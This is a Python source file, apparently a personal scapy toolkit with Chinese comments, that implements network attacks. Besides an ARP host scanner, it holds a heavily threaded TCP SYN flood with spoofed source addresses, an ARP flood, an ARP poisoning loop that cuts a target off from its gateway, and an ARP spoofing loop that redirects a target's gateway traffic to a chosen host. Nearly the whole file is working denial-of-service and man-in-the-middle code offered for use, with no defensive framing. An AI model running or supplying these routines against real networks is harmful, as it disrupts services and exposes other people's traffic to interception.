#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""  
@Project : pythonProject1
@File : scpaytools.py
@Author : 蓝精灵
@Time : 2025/11/2 19:28  
@脚本说明 : 
"""
import ipaddress
from scapy.layers.inet import IP, TCP
from scapy.layers.l2 import ARP, Ether, getmacbyip
from scapy.sendrecv import send, sr1, sendp
from scapy.volatile import RandIP, RandShort, RandMAC
import concurrent.futures
import warnings

warnings.filterwarnings("ignore")


def ip_segment(segment):
    ip_list = []
    try:
        if "/" in segment:
            # strict=False允许非网络地址开头
            ip_network = ipaddress.ip_network(segment, strict=False)
            # 获取网段内所有主机 (排除网络地址和广播地址)
            ip_list = [str(ip) for ip in ip_network.hosts()]
        elif "-" in segment:
            ip_start, ip_end = segment.replace(" ", "").split("-")
            # 转换为IP对象
            start = ipaddress.ip_address(ip_start)
            end = ipaddress.ip_address(ip_end)
            # 转换为整数后计算范围
            start_int = int(start)
            end_int = int(end)
            # 生成IP列表
            ip_list = [str(ipaddress.ip_address(i)) for i in range(start_int, end_int + 1)]
        else:
            exit()
        return ip_list
    except:
        exit()


def tcp_syn_floods(iface, ip, port):
    send_pkg = IP(src=RandIP(), dst=ip) / TCP(sport=RandShort(), dport=port, flags="S")
    send(send_pkg, iface=iface, count=10000)


def tcp_syn_floods_run(num, iface, ip, port):
    with concurrent.futures.ThreadPoolExecutor(max_workers=10000) as executor:
        for i in range(num):
            executor.submit(tcp_syn_floods, iface, ip, port)


def arp_scan(iface, ip):
    send_pkg = ARP(pdst=ip)
    result_pkg = sr1(send_pkg, iface=iface, timeout=0.1, verbose=False)
    if result_pkg:
        psrc = result_pkg.psrc
        pmac = result_pkg.hwsrc
        print(f"[+] {psrc} | {pmac} 存活")


def arp_scan_run(iface, segment):
    if ip_segment(segment):
        with concurrent.futures.ThreadPoolExecutor(max_workers=10000) as executor:
            for ip in ip_segment(segment):
                executor.submit(arp_scan, iface, ip)
    else:
        print("网段输入错误")
        exit()


def arp_floods(iface):
    # 随机IP(源、目的)
    srcIP = RandIP()
    dstIP = RandIP()
    # 随机MAC(源、目的)
    srcMAC = RandMAC()
    dstMAC = RandMAC()
    send_pkg = ARP(psrc=srcIP, pdst=dstIP, hwsrc=srcMAC, hwdst=dstMAC, op="is-at")
    send(send_pkg)


def arp_floods_run(num, iface):
    with concurrent.futures.ThreadPoolExecutor(max_workers=10000) as executor:
        for i in range(num):
            executor.submit(arp_floods, iface)


def arp_attack_run(iface, getaway_ip, target_ip):
    while True:
        getawayMAC = RandMAC()
        dstMAC = getmacbyip(target_ip)
        send_pkg = Ether(src=getawayMAC, dst=dstMAC) / ARP(psrc=getaway_ip, pdst=target_ip, op="is-at",
                                                           hwsrc=getawayMAC, hwdst=dstMAC)
        sendp(send_pkg, iface=iface)


def arp_deception_run(iface, getaway_ip, target_ip, deception_ip):
    while True:
        dstMAC = getmacbyip(target_ip)
        deceptionMAC = getmacbyip(deception_ip)
        send_pkg = Ether(src=deceptionMAC, dst=dstMAC) / ARP(psrc=getaway_ip, pdst=target_ip, op="is-at",
                                                             hwsrc=deceptionMAC, hwdst=dstMAC)
        sendp(send_pkg, iface=iface)